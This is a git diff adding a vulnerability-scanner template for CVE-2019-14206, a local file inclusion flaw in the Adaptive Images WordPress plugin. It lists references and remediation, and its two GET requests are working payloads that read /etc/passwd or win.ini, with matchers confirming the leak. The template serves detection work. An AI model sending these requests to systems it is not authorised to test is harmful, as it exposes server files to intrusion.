diff --git a/http/cves/2019/CVE-2019-14206.yaml b/http/cves/2019/CVE-2019-14206.yaml new file mode 100644 index 000000000000..d507da01603c --- /dev/null +++ b/http/cves/2019/CVE-2019-14206.yaml @@ -0,0 +1,52 @@ +id: CVE-2019-14206 + +info: + name: Nevma Adaptive Images > 0.6.67 - Local File Inclusion + author: riteshs4hu + severity: high + description: | + The Nevma Adaptive Images plugin before version 0.6.67 for WordPress is vulnerable to Local File Inclusion (LFI) due to insufficient sanitization of user-supplied input in adaptive-images-script.php. This allows unauthenticated remote attackers to include and read arbitrary files on the server by supplying crafted request parameters. + impact: | + Remote attackers can read and delete arbitrary files on the server, potentially causing data loss and service disruption. + remediation: | + Update to version 0.6.67 or later. + reference: + - https://wordpress.org/plugins/adaptive-images/#developers + - https://wpscan.com/vulnerability/025a47f0-eddc-46dd-b994-e1e824dc5225/ + - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown + - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html + - https://nvd.nist.gov/vuln/detail/CVE-2019-14206 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 7.5 + cve-id: CVE-2019-14206 + cwe-id: CWE-22 + epss-score: 0.01676 + epss-percentile: 0.8178 + cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 2 + vendor: nevma + product: adaptive_images + tags: cve,cve2019,nevma,adaptive-images,unauth,kev,vkev + +http: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings%5Bsource_file%5D=/etc/passwd' + - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings%5Bsource_file%5D=/Windows/win.ini' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + part: body + regex: + - "root:.*:0:0:" + - "\\[(font|extension|file)s\\]" + condition: or